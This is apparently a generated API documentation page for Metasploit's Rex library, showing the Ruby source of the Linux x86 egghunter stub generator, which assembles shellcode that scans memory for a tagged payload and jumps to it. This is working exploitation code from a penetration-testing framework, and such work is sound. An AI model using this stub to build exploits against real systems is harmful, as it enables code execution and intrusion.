Module: Rex::Exploitation::Egghunter::Linux::X86

Defined in:
lib/rex/exploitation/egghunter.rb

Constant Summary collapse

Alias = 
ARCH_X86

Instance Method Summary collapse

Instance Method Details

#hunter_stub(payload, badchars = '', opts = {}) ⇒ Object

The egg hunter stub for linux/x86.

Raises:



246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
 
# File 'lib/rex/exploitation/egghunter.rb', line 246

def hunter_stub(payload, badchars = '', opts = {})

	startreg = opts[:startreg]

	raise RuntimeError, "Invalid egg string! Need #{esize} bytes." if opts[:eggtag].length != 4
	marker = "0x%x" % opts[:eggtag].unpack('V').first

	checksum = checksum_stub(payload, badchars, opts)

	startstub = ''
	if startreg
		if startreg.downcase != 'ecx'
			startstub = "\n\tmov ecx,#{startreg}\n\tjmp next_addr"
		else
			startstub = "\n\tjmp next_addr"
		end
	end
	startstub << "\n\t" if startstub.length > 0

	assembly = <<EOS
	cld
#{startstub}
check_readable:
	or cx,0xfff
next_addr:
	inc ecx
	push 0x43   ; use 'sigaction' syscall
	pop eax
	int 0x80
	cmp al,0xf2
	je check_readable

check_for_tag:
	; check that the tag matches once
	mov eax,#{marker}
	mov edi,ecx
	scasd
	jne next_addr
	; it must match a second time too
	scasd
	jne next_addr

	; check the checksum if the feature is enabled
#{checksum}

	; jump to the payload
	jmp edi
EOS

	assembled_code = Metasm::Shellcode.assemble(Metasm::Ia32.new, assembly).encode_string

	# return the stub
	assembled_code
end